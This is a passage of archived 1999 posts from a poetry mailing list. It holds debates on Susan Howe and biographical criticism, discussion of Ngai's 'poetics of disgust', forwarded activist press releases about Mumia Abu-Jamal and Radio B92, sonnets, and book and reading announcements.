All snideness aside, I have a question for you, Rebecca: what exactly then do you think is the "joy of poetry"?

What I can gather from reading the texts of Susan Howe--letters, poems, journals, marginalia--that it is precisely the textual particulars of another that she finds to be the "joy of poetry." Reading Melville's Marginalia, a colletion of his notations in books he was reading, inspired her to write a poem that exposes the irony, uncertainty, and change in not only Melville's "life" but also in history (another text). Immersing herself in the manuscripts of Emily Dickinson, Howe reclaims and reconsiders Dickinson in a feminist context. I read much joy, Susan's and mine, in both of those works. The joy comes not just from the work but that it was written, by someone.

This is not biographical criticism because it does not distinguish between a "text" and a "life." Both are in language yet bear the traces of another person who chose to write. Nor is this mere cultural criticism, as you would have it. It's what Peter Neufeld in his post refered to as an ethics that calls for a consideration of the uncertainty and alterity that mark our reading of an other's texts. There is more at stake than just figuring out "what it means." Anyway, I

don't know to many academics who have this goal. (Isn't so much of the poetry that we all enjoy and feel invested in marked by a blur between poetry and criticism? Must we draw that line in the sand again? Why?)

For me, the joy of poetry comes not just from New Critically reading (or writing) the Genius of a poem, In Itself. But from following the textual threads out of the work and into other texts and other uncertainties, ad infinitum. Not knowing "what it means" is the greatest joy.

Grant

↑ Index

303. **Linda Russo**
Re: Page Mothers & Delinquent Daughters
Wed 24 Mar 1999

---

re Nancy's discussion of Sianne Ngai's "Poetics of Disgust"
> Linda, thanks for the long and thoughful post. can you clarify the clause
> "criticized on the basis of it's having been carelessly read"?

you're welcome. Nancy seems to think it is a viable formulation of a cultural poetics that has been overlooked as such. She didn't cite any specific readings or criticisms on Silliman's part or anyone else's.

also, what
> evidence do you or did Shaw feel supports the notion that people are ignoring
> Sianne's essay in the "group-manifesto" sense? it seems obvious to me at
> least that the essay, with an editorial thrust by jeff derksen, functions
> exactly in this way. now if you take the essay (which is part of a larger
> piece/project i know little about--might be a dissertation) out of open letter
> it would appear to me to to function a lot less in this traditional group
> forming negativity sense. and i suppose i would be more inclined to meet the
> essay in this context. i guess i see the group manifesto thing as played out.
> not that groups aren't happening or that groups aren't primary to
> "advancement" (i get by with a little help from my friends), but i believe
> once you start defining groups on paper with poems and essays then eventually
> those definitions, which appear fixed in print, will come back to haunt you.

> so that you get exclusion problems, who's in who's out problems, correct form
> problems, race gender and class problems, people who think they're in one
> group fighting against people who think they're in another group, etc. eg l-p
> looks to be led by white prose-poetry writing poem-essay blurring hetero males
> seeking out the academic sinecures of the mark strands of the world. i'm not
> saying that's the case or even that it's an intelligent way to read the l-p
> phenom. but it can be read that way. and we should keep in mind Dodie's good
> point about revisionism re Shange.

I don't really se 'group project'. I see people talking about things, and those things materializing in the small press. What's interesting is what serves to 'group' these people. location? politics? aesthetics? this list? gender?

I disagree with your description of Language groups as "led by white prose-poetry writing poem-essay blurring hetero males seeking out the academic sinecures of the mark strands of the world." Duplessis, Hejinian, Howe, Scalapino, and Fraser have all written essays and some even books, or have in some other way, as teachers or as editors, assumed leadership positions. But I see your response as evidence of the problem implicit in the gender dynamics of the small press. More men edit, more men publish, thus more men control the means through which poetries and ideas are materialized, and so there are more men leaving a 'paper trail' -- those cultural artefacts that we so love. A second 'problem' -- these women are probably partly obscured by their 'dual' concern with feminism and poetics. Poetry is as much about having a gender as not, yet women, as other, have assume the responsibility of addressing this issue.

I don't see a lang-po group -- the connections are made variously. But they can only be grouped on the basis of some particularity of their engagement and not generally.

Its this sort of insistence, I hear from Eliz. Treadwell and Rachel Daley and others recently on this list, the insistence on a group (generation as a group) to emerge that 'blinds' one to the groups that are emerging. part of Nancy's talk, which doesn't bear thru in an account of her reading of Ngai only, is the issue of shifting modalities, and the recognition of those as such.
> to me it seems more important (now) to look for commonalities among

different
> groupings and try to create permeable groups, to seek out many to many
> relationships.

I would tend to agree but then your terms are so general here that I'm not sure what I'd be agreeing with. What do you mean by grouping -- a sort of self-selection? or that of the taxonomist? We can't first look for commonalities without first deigning to articulate them, no? But these writings would then be your "ghosts"? How does one proceed?

> *Bill Luoma*

↑ Index

304. Linda Russo
Re: shifts in modalities
Wed 24 Mar 1999

---

hi tom.

I agree with you on some problems in Ngai's argument. As a diagnostic a poetics of disgust does help identity a particular grammar ("raw matter"). but i'm not sure there's much cultural work being done in that. it's culturally aware in that it views the poetics as a response to culture. Ngai would like to push that into an area where it will do actual ideological batle with democratic pluralism which would exclude disgust as a reaction. On the other hand, she want to argue that 'raw matter' doesn't 'mean' but 'be's' (with a nod to mark Presjnar's recent post) but i'm not sure this isn't so much more of the 'subversiveness' which she tries to separate it from. I'm not sure, but I think by 'subversiveness' she means that which is merely textual? Or a position assumed as a reaction that isn't really effective? As 'material' as such a poetics is (@%$#!! and [] being some of its more material gestures, those that 'be') it's still only language, still implicit in language as a referential system (she wants to say we 'turn away' from those gestures [as in disgust] but maybe we just step over them so to speak?), and still not bodies thrown in the line of fire so to speak. She brings up a useful warning against the idea of 'eclecticism' however which would obscure the sort of taxonomies that both you tom and Bill luoma seem to desire. Again it's with reference to this concept that she tries to push a POD in the direction of the political, but in the end it still seems like an analogy to me.

* * * *

Linda Russo
[redacted]

↑ Index

305. Rachel Levitsky
a pole query: Poets for Justice for Diallo
Wed 24 Mar 1999

Al Sharpton vowed arrests everyday until the four officers are indicted for the Amadou Diallo killing.

He has made good on his promise--a prolongued strategy which has allowed other slower moving groups to join this campaign challenging Police Brutishness.

I have heard from activists that these arrests, at 12 noon at Police Plaza have been very calm and non-eventful (all walking, no resisting) and the consequences have been a mere Desk Appearance Ticket, most of which end up being dismissed, and that notables and non notables have been treated alike. I am wondering, if there would be folks out there willing to partake in this symbolic arrest, some time next week, date to be determined.

Of course at any time these events can be cancelled, especially if the officers are indicted,which they may be next week.

Backchannel if you are interested. No polemics on Sharpton please.

thanks,
Rachel

↑ Index

306. Rachel Levitsky
[FYI--Meet me in Philly]
Wed 24 Mar 1999

by killian.chelsea.net (8.9.1/8.9.1) with SMTP id MAA22982;
Tue, 23 Mar 1999 12:54:22 -0500 (EST)
Comments: Authenticated sender is <[redacted]>
From: "Millions for Mumia" <[redacted]>
Organization: npcny
To: "[redacted]" <[redacted]>
Date: Tue, 23 Mar 1999 12:51:10 -0500
Subject: Communities, students build Millions for Mumia
Reply-to: "[redacted]" <[redacted]>
Priority: normal

Millions for Mumia
39 W. 14 St., Suite 206
New York, NY 10011
Phone [redacted]

Fax [redacted]
Web: www.peoplescampaign.org
E-mail: [redacted]

FOR IMMEDIATE RELEASE
Attention: Assignment Editor
March 23, 1999
Contact: Greg Butterfield, Brian Becker [redacted]

Activity in Colleges, High Schools and Many Communities Builds Toward Massive 'Millions for Mumia' Marches April 24 in Philadelphia and San Francisco

Growing Movement Demands: 'Stop the Execution! End Police Brutality! A New Trial for Mumia Abu-Jamal!'

On Sat. April 24, people from all walks of life will march on Philadelphia and San Francisco as "Millions for Mumia," to stop the execution of African American journalist Mumia Abu-Jamal. They will demand a new trial for the death-row activist and add their voices to the growing chorus calling for an end to racist police brutality.

The Millions for Mumia April 24 Mobilization has been endorsed by over 500 individuals and organizations, including Ossie Davis, Alice Walker, Angela Davis, former U.S. Attorney General Ramsey Clark, Rev. Benjamin Chavis Muhammad, 1199 Health & Human Services Union/SEIU, Pam Africa, Cornel West, Edward Asner, Barbara Smith, Leonard Weinglass, Susan Sarandon, Bobby Seale, Rafael Cancel Miranda, Leslie Feinberg, Noam Chomsky, Geronimo ji Jaga (Pratt), Kathleen Cleaver, Manning Marable, Art Spiegelman and Ani DiFranco.

The immense level of activity in colleges, high schools and communities throughout the United States is a clear sign that the April 24 demonstrations will be among the largest in recent history, and the biggest ever on behalf of a U.S. political prisoner.

In a March 19 call to action, Ossie Davis, Pam Africa, Ramsey Clark and other leaders said: "Mumia Abu-Jamal is a former Black Panther and a lifelong fighter against racism, repression and police brutality. He is a widely published author and radio commentator. In 1981 Mumia was framed for the murder of a white police officer in Philadelphia. All the evidence, however, indicates that he is innocent.

"Mumia was sentenced to death. For the last 17 years he has been one of the most well known political prisoners in the United States. His last appeal to the State of Pennsylvania has been denied, despite the fact that witnesses who had

been intimidated by the police have now come forward. He could be executed within six months."

They concluded: "The campaign to win a new trial for Mumia is more than the struggle for justice for one person. It is part of an emerging movement of community, student and youth activism that stands in opposition not only to police brutality, but also the death penalty, attacks on affirmative action, and the intensification of racism, sexism, homophobia and repression."

Communities, Students Mobilize Nationwide

Philadelphia, New York and San Francisco are the sites of the National "Millions for Mumia" Offices. Mobilizing centers have also been established in more than 70 cities and towns nationwide to organize buses to the April 24 demonstrations. A partial list includes:

Albany, N.Y.; Albany, Ga.; Ann Arbor, Mich.; Atlanta; Austin, Texas; Baltimore, Md.; Birmingham, Ala.; Boise, Idaho; Boston; Boulder, Colo.; Buffalo, N.Y.; Chicago; Cincinnati and Columbus, Ohio; Detroit; Grinnel, Iowa; Harrisonburg, Va.;

Houston; Hempstead, Long Island, N.Y.; Lawrence, Kan.; Los Angeles; Louisville, Ky.; Manhasset, N.Y.; Middletown, Conn.; Milwaukee; Minneapolis-St. Paul; Missoula, Mt.; Nashville, Tenn.; New Brunswick, N.J.; New Paltz, N.Y.; Newark, N.J.; Oberlin, Ohio; Paterson, N.J.; Pittsburgh; Portland, Ore.; Providence, R.I.; Richmond, Va.; Rochester, N.Y.;

San Diego, San Jose and Santa Cruz, Calif.; Seattle, Wash.; Springfield, Mass.; St. Petersburg, Fl.; State College, Pa.; Stony Brook, Long Island, N.Y.; Storrs, Conn.; Syracuse, N.Y.; Thorndike, Maine; Toledo, Ohio; Tucson, Ariz.; Western Massachusetts; Willimantic, Conn.; Woodstock, N.Y.; and Washington, D.C.

Following is a partial list of college campuses where students are organizing buses to participate in the April 24 "Millions for Mumia" demonstrations:

Antioch College, Ohio; Boise State University, Idaho; Borough of Manhattan Community College, New York; City College of New York; College of Saint Rose, Albany, N.Y.; College of Staten Island, N.Y.; Columbia University, New York; Connecticut College; Cornell University, Ithaca, N.Y.; DePauw University, Idaho; Eastern Connecticut State University; Florida International University; George Washington University, Washington, D.C.;

Georgetown University; Grinnel College, Iowa; Hamilton College, Clinton, N.Y.; Hampshire College, Amherst, Mass.; Hofstra University, Hempstead, N.Y.; Hostos Community College, Bronx, N.Y.; Hunter College, New York; Kent State University, Ohio; Long Island University, N.Y.; Massachusetts Institute of

Technology; Medgar Evers College, Brooklyn, N.Y.; Morgan State University; Nassau Community College, Long Island, N.Y.;

New School for Social Research, New York; N.Y. Technical College, Brooklyn, N.Y.; New York University; Northwestern University; Oberlin College, Ohio; Philadelphia Community College; Portland State University, Ore.; Princeton University, N.J.; Queens College, N.Y.; Roxbury Community College, Mass.; Rutgers University, N.J.; Sarah Lawrence, N.Y.; State University of New York campuses in Binghamton, Purchase and Stonybrook;

Swathmore College; Syracuse University, N.Y.; Temple University, Philadelphia, Pa; University of Alabama, Birmingham; University of Albany, N.Y.; University of California in Berkeley and Los Angeles; University of Connecticut, Storrs; University of Illinois, Chicago; University of Massachusetts, Amherst; University of North Carolina, Greensboro; University of Wisconsin in Madison and Milwaukee; Vassar College; Virginia Commonwealth; Wesleyan University, Conn.; William Patterson University, N.J.; Yale University, Conn.; and York University.

Communities across the country are organizing contingents. Latinos/Latinas for Mumia are mobilizing in Boston; Hartford and Bridgeport, Conn.; Providence, R.I.; New York; New Jersey; Philadelphia; and Washington, D.C. Under the leadership of civil-rights leader Yuri Kochiyama, Asians for Mumia are sponsoring buses from both coasts. A lesbian, gay, bisexual and transgender contingent, Rainbow Flags for Mumia, is growing, with over 150 endorsements and mobilizations in Atlanta, Baltimore, Boston, Los Angeles, New York, Philadelphia, San Francisco, Tucson and several other cities. An Italian Americans for Mumia contingent from New York is being organized by Italian Americans for a Multicultural U.S.

In New York City, 100 buses have been reserved by the Millions for Mumia Mobilization to transport protesters to the Philadelphia march. That number is expected to grow as community groups, colleges and high schools plan their own buses to Philadelphia.

"Millions for Mumia" April 24 actions are also planned in other countries. International mobilizing centers include: San Juan, Puerto Rico; Amsterdam, the Netherlands; Berlin and Bremen, Germany; Carlton South, Australia; Hamburg, Germany; London, England; Ontario, Canada; Oslo, Norway; Paris, France; Rheine, Germany; and Vancouver, Canada.

More information is available from the National Mobilizing Office in New York. "Millions for Mumia" leaders, including Ossie Davis, Ramsey Clark and Leonard Weinglass, are available for interviews. Call [redacted].

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307. A. Jenn Sondheim
<nettime> Help B92 campaign started tonight (fwd)
Wed 24 Mar 1999

---------- Forwarded message ----------
D-ate: Wed, 24 Mar 1999 23:37:09 +0100 (CET)
F-rom: sjoera nas <[redacted]>
T-o: [redacted]
S-ubject: <nettime> Help B92 campaign started tonight

Pressrelease
March 24th 1999

Help B92 and the independent media in Yugoslavia
Latest news at http://helpB92.xs4all.nl

Last night the transmitter of radio B92 from Belgrade was confiscated by the Serbian authorities. The editor-in-chief, Veran Matic, was held in custody in a police station for well over 8 hours. Despite this intimidation the station continues its independent news service. At De Balie in Amsterdam a support group has been founded tonight, which intends to support B92 and other independent media in Yugoslavia where possible in the continuation of these important news services.

With the support of internetprovider XS4ALL B92 also transmits its signals via internet since december 1996. These digital broadcasts are picked up by the BBC Worldservice and retransmitted via satellite. Through a network of local radio stations the programs of B92 can be heard throughout Serbia, despite repeated attempts by the authorities to silence the station. At this moment it is still possible to follow the broadcasts of Radio B92 in real audio on their website, at http://www.b92.net

In light of the current tense situation it is very likely that the possibilities of B92 to continue its independent news service will be limited even further. The support group therefore intends to take measures to distribute news by and about B92 from Amsterdam. For that purpose a special website has been opened at http://helpB92.xs4all.nl

B92 is the backbone of the independent news service in Yugoslavia. Without immediate financial support this last source of independent news for the inhabitants of this region is endangered. A fundraising campaign is being started by the support group, in order to send money and equipment to B92 and other independent radio stations in Serbia and Kosovo as soon as possible.

The founders of the support group are: B92, De Balie, De Digitale Stad, Next 5 Minutes, Press Now, radioqualia (Australia), De Waag (MONM) en XS4ALL.

The Postbank account for donations is 7676, made payable to Press Now in Amsterdam, please specify "Help B92". For more information or to send messages of support, please e-mail [redacted]. You can also digitally support this initiative by copying the special logo onto your website and linking to Help B92.

--- # distributed via nettime-l : no commercial use without permission # <nettime> is a closed moderated mailinglist for net criticism, # collaborative text filtering and cultural politics of the nets # more info: [redacted] and "info nettime-l" in the msg body # URL: http://www.desk.nl/~nettime/ contact: [redacted]

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308. Rachel Levitsky
Subway Sonnets by Steve Fried
Wed 24 Mar 1999

A coworker with whom I teach CUNY writing test prep (wat) for the union 1199 wrote the following. Let me know if I should post more. --R. Levitsky

Sonnets from the Job from Subway Sonnets Steve Fried [redacted]

5.
The rudeness by which a student will stand up
and come, during class discussion, to my desk
to ask a question about homework tops
my list of the insensitive and pesky
behaviors that betoken fear... of what
but success, progress, learning as a nut
rust-locked to threads it cannot climb or fall
but sits becoming one with its bolt in
a rotting way that spreads, infecting all
the process with its broad assumption
that learning is the province of some race
or class or caste or code or outward grace
and not the democratic saving spot
of shine where rust flakes off without a trace.

6.
What the administrator doesn't know
is that our students, people who're on jobs
closer to war than she will ever go,
need not the pose of friendship, sweetened so

it patronizes, but not to be robbed
of their time and strength in such short supply
that just getting to class is winning one
of a few battles in the whole long day
with odds as good as crooked books would lay
on fights of men with pens with men with guns.

The fallacy is sharper than the sword
when bureaucrats play numbers with the need
of people whom momentum forces toward
an end that rescues or an end that bleeds.

13.
A test, like toilets, functions in a stall
designed to catch and conduit the work
of thought and body, and raise animal
maneuvers to the status of elite
and esoteric dance-steps: fighters' tricks
taught to a handful of combative feet
and practiced against bound bundles of sticks
on petaled mountainsides that early spring
when gray thaw water loosened under crusts
of twig-enciphered ice that, cracking, sings
down breezes that unbend bodies of grass
against all gravity. Their gestures dust
heaven with autumn's water to amass
cumulus continensts that pass the test.

27.
A confrontation at a meeting starts
a chain of phonecalls, more meetings, advice
on how, without offending, to impart
our distress at our new bosses' attacks
on how we teach and whom, at more-than-twice-
posed questions answered only with fog, stacked
decks of stock response and blood-ugly lies
that what we teach is not about the tests
our students must pass to, in their own eyes,
be whole and ready to pursue courses
out of dying jobs, wield instruments against
breathed roach-dust that stops breath or the fell force
of race hate that buys Giuliani's votes
and police batons across their children's throats.

28.
Off to meet with a new class, my ennui
becomes a headwind against which I tack
and, in the face of each resistance, lose
the slightest will to move, until money
asserts its primacy and sends me out
to test the classroom weather, and there tout
learning as something that deserves desire,
as if where it has brought and left me proves
it worth calories to make bodies move
against such wind's enmity, through such fires
as blow and burn between ourselves and it --
as if, besides this paper's freight of scrawl
that moves me line by line from world to wall
it bespoke lore that found love, or paid debts.

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309. **Mark Weiss**
query--poetry project newsletter
Wed 24 Mar 1999

Heard a rumor today that I hope is unfounded that the St Marks Poetry Project Newsletter is soon to be no more. Confirm, deny, or elucidate?

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310. **Kevin L. Magee**
Re: Henry's interest in destinato critico
Wed 24 Mar 1999

Here and There

Here is the negative. Over there where you are.
Here? Yes, sir. That is the way you saw it?
Yes, that is the way you saw it. That is not the picture
they taken the date that parked pop truck was here.
Before it goes into the, into the furnace.
Always something in the factory or something like that.
Somewhere around there. If you wanted to check it out,
you could check it out, if not you didn't have to.

Hold it a minute. I think over here, about there.
Coming out there, come right here.
Come right on back here, right there,
about right in here, and like this pulls out of here

over there. Do you have a picture?
There is no picture. The police taken pictures.
Yes, ma'am. Pull around from here to there.
Yes, ma'am. "Here" and "there" is a curtain place.
Pull around there about from here to that chair,
and it stayed there, about down to the back of the chair,
back here. The chair in the last row? Yes,
the back row of chairs from where you are to the back row.

You are as far from where you were to what period of time
did you work at Winn-Dixie.
Do you remember when a man come out to talk to you,
and there was a red-haired young lady making some notes?
She was writing down the things being said.
I was out there. I was already out there.
And then my boss said, "What the hell, he wasn't even out there."
No, I was already out there.
After he left, he talked to me.
After they got done calling me.

The guy said he was hollering the way he was going on there.
I told him a lot more than that.
You all in here, somewhere around there.
She knew the ropes, things like that.
She was like trying to train me.
It wasn't like I didn't pay no attention.
What they had trained me for was a mold instrumentor.
And then they said it and it got bigger and popular.
Admonitions. Go out there hollering.
It is putting platinum wire on a jet propeller.

P.S. Dear Henry, last Saturday Miguel Rubio
was writing a parapgraph for me and wrote down this word
--pressing pen hard on to page, like he was carving it--
e x s p e c i a l i l y, which brought to mind my own
e x s p e s s h a l l y, spoken 22 years ago this April
in a community college in Plantation, Florida (my hometown).
"Get rid of that X." "It sounds ignorant."
On the table were letters of recommendation
(her idea, not mine) to Vanderbilt, Princeton and Yale
(I made it as far north as New Orleans--for a year).
Why is educated english so afraid of the X?
That's how they said it in elizabethan england
according to my original spelling edition of shaxespear.

My students from the east side of Cleveland
come down hard on the X--chewing it, enjoying it,
refusing to give it up--and I never admonish them
(my Adorno: "the poor chew words to fill their bellies")
so I would speak to your yearning for "black speech":
I listen for it listening and trying hard to relearn
the eloquent vernacular of the north american working class
that I readily sacrificed--buried, really--so severely
that when I walked into a room in Des Moines in 1987
to meet with agitators getting jobs in the slaughterhouses
their leader, whom I'd already met and spoken with,
whose own folks he'd said had been sharecroppers
in Mississippi, laughed out loud the brave heart's laugh
as soon as I opened my mouth. "There," he said,
"didn't I tell you he had a British accent?"

It is called CLASS BETRAYAL, but that is not the right word.

Kevin

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311. aerialedge
Integrity & Dramatic Life by Anselm Berrigan
Thu 25 Mar 1999

Edge books is absolutely pleased to announce publication of _Integrity & Dramatic Life_ by Anslem Berrigan. 64 pgs, perfectbound.

Regularly $10, special to the Poetics List $7.50 until April 15. Or receive _Sight_ by Lyn Hejinian and Leslie Scalpino and _Integrity & Dramatic Life_, both books for $15. Email your address & we will send you an SASE for payment or mail your check to the address at the end of this post.

Publisher's Weekly says "Berrigan's book is a rare, beautiful keeper." See here:

A brooding intellect injected into the effusive lyricism of the New York School makes Berrigan's famous parentage--he is the son of poets Ted Berrigan and Alice Notley--an inheritance he self-awarely transforms. Berrigan is not so much undoing intellectualism as trying to wear it lightly, and lyricize it in ways that may at first resemble the work of Ron Padgett, but comes closer to the more sublimated pleasures of John Ashbery: "Do I have to slip into a box/ To prove my disinterest in watching my step?" Berrigan posits a kind of detachment that can co-exist with a heavily marked social calendar ("the phone never rings I never get it when it does"), yet is wryly aware that as a poet "you can get a medal for running in circles, that's integrity for you," and thus balances the sometime

solemnity of art with a "dramatic life" that can "instantly trivialize anything." At the tender age of 26, Berrigan is a master of the exuberant, and reading the book straight through can somewhat diminish the quirky insights and intense subjectivity of the individual poems. Yet the pathos of "8/1/97"; the slower, intimate, tenderness of "To what end is what we got..."; and the formal quatrains that appear at the end of the sprawling poem "Ghost Town"-"To be as strange as what/ The heart contains as method/ Of departure it makes sense/ To shake when approaching"-evidence an impressive tonal range. An exciting debut that taunts its own allure-"Catullus didn't/ Have to go down on the mic"--Berrigan's book is a rare, beautiful keeper.

--Publisher’s Weekly 3/29/99

Anselm Berrigan's poems, in Integrity & Dramatic Life, seem almost as much like natural objects as anything constructed-a waterfall of inevitable beauty. But built they are, of course, & very cannily. Here is someone who has been absorbing poetry all his life, exactly as Ken Griffey Jr. picked up baseball, with equally spectacular, seemingly effortless results. His poems are so good you can read them backwards or forwards or standing on your head; they sing in every direction. "Simply the best we have." --Elinor Nauen

Marvelous. Terrific. Gorgeous. Anselm Berrigan's Integrity and Dramatic Life tells stories about being young and living in a city and having love for others. Here the poems are so rich with connection they change one's life for the better. --Juliana Spahr

AERIAL/EDGE

They Beat Me Over the Head With a Sack, Anslem Berrigan, $5.
Integrity & Dramatic Life, Anselm Berrigan, $10.
the julia set, Jean Donnelly, $4.
Marijuana Softdrink, Buck Downs, forthcoming 1999.
World Prefix, Harrison Fisher, $4.
Metropolis 16-20, Rob Fitterman, $5.
perhaps this is a rescue fantasy, Heather Fuller, $10.
Sight, Lyn Hejinian and Leslie Scalapino, $12.
Late July, Gretchen Johnsen, $3.
Asbestos, Wayne Kline, $6.
Stepping Razor, A.L. Nielsen, $9.
Errata 5uite, Joan Retallack, $8.
Dogs, Phyllis Rosenzweig, $5.
Aerial 9: Bruce Andrews, Rod Smith ed., $15, forthcoming May1999.
Aerial 8: Barrett Watten, Rod Smith ed., $15.
Aerial 6/7 featuring John Cage, Rod Smith ed., $15.
Aerial 5 featuring Harryman/Hejinian, Darragh/Retallack, Rod Smith ed.,

$7.50.
On Your Knees, Citizen: A Collection of "Prayers" for the "Public" [Schools], Rod Smith, Lee Ann Brown, and Mark Wallace, eds., $6.
Cusps, Chris Stroffolino, $2.50.
Nothing Happened and Besides I Wasn''t There, Mark Wallace, $9.50.

Orders to: Aerial/Edge, POBox 25642, Washington, DC 20007.

Thanks.

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312. Catherine Daly
was gender class etc. & also Loyola readings
Thu 25 Mar 1999

I think it was David Bromige (sp?) who posted the Loyola readings listing; thank you. I enjoyed the reading. Started a bit late: the campus church bells rang eight WAY before Willis and Gizzi started.

Also re: the gender/class discussion. I came across this Turing test site: http://www.cs.bilkent.edu.tr/~psaygin/ttest.html

I had forgotten the test was a man, a woman, and a questioner...

Now if the questions were poems, or a corpse, then...

And if only male engineers (working class or professional?) construct the machine...

Regards,
Catherine Daly
[redacted]

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313. dbkk
Stevens date
Thu 25 Mar 1999

Hi everyone, this is Kevin Killian, I'm writing an article on the actress Julie Newmar and would like to know--real quick--what is the year Wallace Stevens wrote "Anecdote of the Jar"?

Please respond back channel to yours truly and thanks to everyone.

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314. Richard Carfagna
Re: Armand Schwerner Tablets
Thu 25 Mar 1999

Hi miekal,
I don't know if this will be of any considerable help, but check out the essay at this site:
http://www.valdosta.edu/vsu/dept/cas/eng/note/lavazzi.htm
If you can't get to it , let me know and I can either e-mail or fax a copy to you.
ric

From: POETICS[SMTP:[redacted]]
Sent: Thursday, March 25, 1999 9:39 AM
To: [redacted]
Subject: Re: Armand Schwerner Tablets

Im working on a piece for armand schwerner & am having an impossible time finding anything from the tablets on the net, (if I go interlibrary loan it could take months out here), does anyone out there in popoland have ecopy of any, or know of any secret websites that may have excerpts? (who knows maybe alta vista is a shitty searchengine.)

Or mayhaps someone is courageous enuf to key in their own favorite or lovely sections & post it herefront.

just doesn't feel the sample without one-liners, something abt community.

miekal

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315. Tom Orange
Lettrisme
Thu 25 Mar 1999

---

forwarded from a friend of mine. any info appreciated. please backchannel me or, if the interest is there, i will send out a compilation of any info i get. thanks, tom orange / london, ont.

---------- Forwarded message ----------
hi tom,

could you do me a favour? can you ask the poetics list if anyone knows of any good stuff written in english about the Letteriste International, Isidore Isou in particular?

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316. **Lowther,John**
Re: defensive poetry
Thu 25 Mar 1999

Grant / Rebecca / poetix

i must confess to a slight guilty joy when i read Rebecca's post
b/c i too feel some frustration when reading something
(hypotheticaly) about Howe or whomever and being led down
the biographical trail in order to be 'set up for' a decisive
reading of some poem of whatever

but then, this is what academic critics do much of the time (not all the time) so
why not simply ignore it ? i mean, is it dangerous to me if i pay no mind to its
existence ?

maybe so

i imagine an argument cd be made that criticism has some power over me -
what i can publish maybe

but i continue to feel undominated
    [someone will lower the magic duck
     as the phrase of the day
     has been alluded to : 'false consciousness']

but another rub in this case is that Susan Howe has all these
sort of biographical things around too - wherein she
tell you and i and the whoever reads them things
about her life family history etc

i guess these too cd be ignored

but what if they're good ? interesting ? what if they
unsullied by the incursions of limping little academics
fresh off an imagined treadmill.. what if they
<flash>
give you a sudden 'insight' about a poem of Ms. Howe's ?

sleeping with the enemy ?

)L

> *-----Original Message-----*
> *From: Grant Jenkins [SMTP:[redacted]]*
> *Sent: Wednesday, March 24, 1999 6:18 PM*
> *To: [redacted]*
> *Subject: defensive poetry*
>
> *This [the posting about S. Howe's particularities] is exactly what I was*

talking about earlier when I said that "it [the shift into classrooms producing critics whose facilities are lamed] will happen and it will suck." I do not want to know what Susan Howe's family home was like and I do not want to know what her husband does for a living. Cultural studies is simple biographical criticism in thin disguise: an excuse for sensationalism and for those who are uncomfortable with ambiguity to write about where their subject was born and how many doctors were around the table, color of baby blanket, etc.

Well, I guess I should come to my own defense--if I am able, being only a lame, lowgrade academic.

All snideness aside, I have a question for you, Rebecca: what exactly then do you think is the "joy of poetry"?

What I can gather from reading the texts of Susan Howe--letters, poems, journals, marginalia--that it is precisely the textual particulars of another that she finds to be the "joy of poetry." Reading Melville's Marginalia, a colletion of his notations in books he was reading, inspired her to write a poem that exposes the irony, uncertainty, and change in not only Melville's "life" but also in history (another text). Immersing herself in the manuscripts of Emily Dickinson, Howe reclaims and reconsiders Dickinson in a feminist context. I read much joy, Susan's and mine, in both of those works. The joy comes not just from the work but that it was written, by someone.

This is not biographical criticism because it does not distinguish between a "text" and a "life." Both are in language yet bear the traces of another person who chose to write. Nor is this mere cultural criticism, as you would have it. It's what Peter Neufeld in his post refered to as an ethics that calls for a consideration of the uncertainty and alterity that mark our reading of an other's texts. There is more at stake than just figuring out "what it means." Anyway, I don't know to many academics who have this goal. (Isn't so much of the poetry that we all enjoy and feel invested in marked by a blur between poetry and criticism? Must we draw that line in the sand again? Why?)

For me, the joy of poetry comes not just from New Critically reading (or writing) the Genius of a poem, In Itself. But from following the textual threads out of the work and into other texts and other uncertainties, ad infinitum. Not knowing "what it means" is the greatest joy.

Grant

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317. dbkk
Re: class & gender
Thu 25 Mar 1999

At 8:29 AM -0800 3/24/99, R. Tremblay-McGaw wrote:

> *I've found that some of the work of fellow feminist writers is "polite," operates with a certain decorum (I fight against this myself), that is claustrophobic. For me, there is a connection with class and gender and sexuality issues here.*

Robin,

I think you are so right here--"lady" poetics I call it. And it's not hard to understand why many younger women don't want to associate with the whole feminist thing. Though, these days, luckily, there are many strong counter-trends. The feminist poetics scene in SF nourished me--but it became clear fairly early on that I was not going to be supported there (quite the opposite) for the sexuality and vulgarity I was moving towards. (Though it wasn't as bad as when I recently read in Cambridge and nobody would look me in the eye or talk to me after my reading.) I had to go outside the feminists to male writers in order to find a safe bubble where I could develop my work, push it. Of course there was always Kathy Acker as an important model in the distance (for I didn't yet know her in the early 80s) but she was so impossibly hip in her buzz haircut and miniskirts and I was so impossibly not hip, there didn't seem much hope of a connection there. I'm greatful now to all the women that are my allies (and the ladies who aren't maintain a silence of tolerance). But it took a long time before any women were supportive of my work. I'm still reading feminist theory books (Rosi Braidotti is my new passion), and occasionally a kind soul such as Susan Gevirtz will talk to me about them.

Dodie

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318. derek beaulieu / house press
Para>poetics
Thu 25 Mar 1999

Para>poetics reading series presents:
Canadian Poet Anne Szumigalski

7 PM Thursday, April 1, at Truck
Bsmt 815 1 St. SW (The Grain Exchange Building)

Calgary, Alberta

Anne Szumigalski's poetry explores the connection between myth, emotion, intellect, and spirit. A recipient of a number of awards, including the 1995 Governor General's Award, she is the author of over a dozen books, including Rapture of the Deep (1991), the voiced poem Journey/JournEe (with Terrence Heath, 1988), and most recently, On Glassy Wings (1997). She has also written works for stage play and for dance.

Everyone welcome. Admission free.
Sponsored by: the League of Canadian Poets and The Canada Council.

for info call Truck @ [redacted] or [redacted] or email jonathon wilcke at : [redacted]

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319. Lowther,John

Thoughts about SILENCING THE SOUNDED SELF by Christopher Shultis

Thu 25 Mar 1999

S I L E N C I N G T H E S O U N D E D S E L F
John Cage and the American Experimental Tradition
by Christopher Shultis
[Northeastern U Press 1998]

what cart?
what horse?

the intro lays out the poles of the study after noting that the inquiry "is governed by an assumption that an emphasis on process is a shared concern of all artists commonly regarded as *experimental*" (p.xvi) Shultis goes on to note that processes can be initiated in two ways

1) by a self controlling the process
2) by a self co-existing with process

next we are given 3 criteria against which to contrast those whose work fits with option 1 and option 2 - these are their attitudes about Nature, Symbolism, and the Unintentional

briefly

the <self which controls process> is outside of Nature, separate from it, is IN the environment, seeks to know, use, etc // uses Symbolism in the same way that it uses nature as a means to an end // and is closed to the unintentional

the 'self coexistent with process' is inside Nature, not separate, part OF the environment // uses natural objects as themselves instead of as Symbolic of other things // & is open to the Unintentional

ok

